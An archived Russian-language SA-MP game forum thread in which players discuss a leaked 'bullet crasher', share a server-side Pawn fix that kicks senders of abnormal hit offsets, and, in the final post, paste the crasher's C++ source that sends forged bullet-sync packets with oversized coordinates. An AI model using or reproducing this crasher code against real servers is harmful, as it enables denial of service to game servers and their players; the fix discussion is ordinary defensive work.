Новый крашер - Printable Version
+- SA-MP Forums Archive (
https://sampforum.blast.hk)
+-- Forum: Non-English (
https://sampforum.blast.hk/forumdisplay.php?fid=9)
+--- Forum: Languages (
https://sampforum.blast.hk/forumdisplay.php?fid=33)
+---- Forum: Русский/Russian (
https://sampforum.blast.hk/forumdisplay.php?fid=32)
+---- Thread: Новый крашер (
/showthread.php?tid=535550)
Новый крашер -
xStunt - 04.09.2014
Привет ребятки! сегодня слили новый крашер в паблик... на всех серверах уже крашат, и онлайн сильно сильно упал...
Что поэтому думаете?
Re: Новый крашер -
Nixon13 - 04.09.2014
Что тут думать,херово,надо фиксить.
Принцип работы никто не разобрал ещё?
Re: Новый крашер -
Silicium - 04.09.2014
Сурс в паблике вроде как. Иди и разбирай принцип работы.
Re: Новый крашер -
xStunt - 04.09.2014
Quote:
Originally Posted by Nixon13
Что тут думать,херово,надо фиксить.
Принцип работы никто не разобрал ещё?
|
KaZax уже выложил его версию фикса
Re: Новый крашер -
Nixon13 - 04.09.2014
Quote:
Originally Posted by Fich
KaZax уже выложил его версию фикса
|
Благодарю за инфу.
Re: Новый крашер -
XemyL - 04.09.2014
PHP код:
public OnPlayerWeaponShot(playerid, weaponid, hittype, hitid, Float:fX, Float:fY, Float:fZ)
{
if(hittype == BULLET_HIT_TYPE_PLAYER && (fabs(fX) > 10.0 || fabs(fY) > 10.0 || fabs(fZ) > 10.0)) return Kick(playerid);
return 1;
}
Float:fabs(Float:f) return (f < 0) ? (-f) : (f);
Re: Новый крашер -
Stepashka - 04.09.2014
Quote:
Originally Posted by XemyL
PHP код:
public OnPlayerWeaponShot(playerid, weaponid, hittype, hitid, Float:fX, Float:fY, Float:fZ)
{
if(hittype == BULLET_HIT_TYPE_PLAYER && (fabs(fX) > 10.0 || fabs(fY) > 10.0 || fabs(fZ) > 10.0)) return Kick(playerid);
return 1;
}
Float:fabs(Float:f) return (f < 0) ? (-f) : (f);
|
Вы про функцию
floatabs никогда не слышали
Re: Новый крашер -
xStunt - 04.09.2014
Тема с фиксом от KaZax:
https://sampforum.blast.hk/showthread.php?tid=535543
Re: Новый крашер -
XemyL - 04.09.2014
Quote:
Originally Posted by Stepashka
Вы про функцию floatabs никогда не слышали 
|
Да писал функцию для integer, написал заодно и для float, бывает
Re: Новый крашер -
stabker - 04.09.2014
Quote:
Originally Posted by Silicium
Сурс в паблике вроде как. Иди и разбирай принцип работы.
|
У вас есть ссылка? Если есть, поделитесь, пожалуйста.
upd: нашел.
Код:
void cheat_generic_bullet_crasher()
{
if(cheat_state->_generic.bullet_crasher) //by urShadow for BlastHack.Net
{
static DWORD time;
if(GetTickCount() - 40 > time)
{
BULLET_SYNC_DATA sBulletSync;
memset(&sBulletSync, 0, sizeof(BULLET_SYNC_DATA));
sBulletSync.byteHitType = 1;
sBulletSync.usHitID = g_Players->sLocalPlayerID;
float fValue = (float)0x7777777B;
sBulletSync.fCenterOfHit[0] = fValue;
sBulletSync.fCenterOfHit[1] = fValue;
sBulletSync.fCenterOfHit[2] = fValue;
RakNet::BitStream bsBulletSync;
bsBulletSync.Write((BYTE)ID_BULLET_SYNC);
bsBulletSync.Write((PCHAR)&sBulletSync, sizeof(BULLET_SYNC_DATA));
pSAMP->Send(&bsBulletSync);
time = GetTickCount();
}
}
}